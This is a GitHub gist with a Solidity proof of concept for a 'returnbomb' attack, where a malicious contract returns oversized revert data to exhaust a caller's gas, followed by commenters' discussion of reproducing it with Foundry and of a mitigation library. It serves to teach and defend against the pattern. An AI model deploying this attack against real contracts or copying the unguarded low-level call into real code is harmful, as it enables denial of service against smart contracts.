-
-
Save pcaversaccio/3b487a24922c839df22f925babd3c809 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.19; | |
/** | |
* @title Returnbomb attack example | |
* @author pcaversaccio | |
*/ | |
contract Evil { | |
uint256 public counter; | |
function startBomb() external returns (bytes memory) { | |
++counter; | |
// solhint-disable-next-line no-inline-assembly | |
assembly { | |
revert(0, 10000) | |
} | |
} | |
} | |
contract Victim { | |
function oops() public returns (bool, bytes memory) { | |
Evil evil = new Evil(); | |
/// @dev If you put 3396 gas, the subcall will revert with an OOG error. | |
(bool success, bytes memory returnData) = | |
// solhint-disable-next-line avoid-low-level-calls | |
address(evil).call{gas: 3397}(abi.encodeWithSelector(evil.startBomb.selector)); | |
return (success, returnData); | |
} | |
} |
Can't reproduce the issue with this code. ++counter
on its own costs ~20k gas so 3397 is not enough. If you initialize counter = 1
it does work, but then 3396 doesn't cause OOG.
@frangio thanks for the feedback - I quickly checked it and I think I found your issue (I bumped the solc version to 0.8.19
in the contract fyi). You must run the PoC with the --via-ir
flag.
Let me take you through the steps. First, run the following forge script
using gas: 3397
:
forge script --optimize --optimizer-runs 200 --use 0.8.19 --via-ir ReturnBombExample.sol --target-contract Victim --sig "oops()"
This will return the following result:
Now, change to gas: 3396
and run the script again:
To analyse what happens exactly, use again gas: 3397
and run the following command:
forge debug --optimize --optimizer-runs 200 --use 0.8.19 --via-ir ReturnBombExample.sol --target-contract Victim --sig "oops()" --debug
Stepping through the operations, you will see the increase in memory from PC: 223
to PC: 224
:
I hope this clarifies it.
@pcaversaccio seems it may be possible to avoid the return bomb using assembly? Something like this? - https://github.com/nomad-xyz/ExcessivelySafeCall/blob/main/src/ExcessivelySafeCall.sol
@pcaversaccio seems it may be possible to avoid the return bomb using assembly? Something like this? - https://github.com/nomad-xyz/ExcessivelySafeCall/blob/main/src/ExcessivelySafeCall.sol
Yup, that attack vector can be prevented if required by the use case.
If you use Foundry, you can run the debugger in one line:
forge debug --optimize --optimizer-runs 200 --use 0.8.19 --via-ir ReturnBombExample.sol --target-contract Victim --sig "oops()" --debug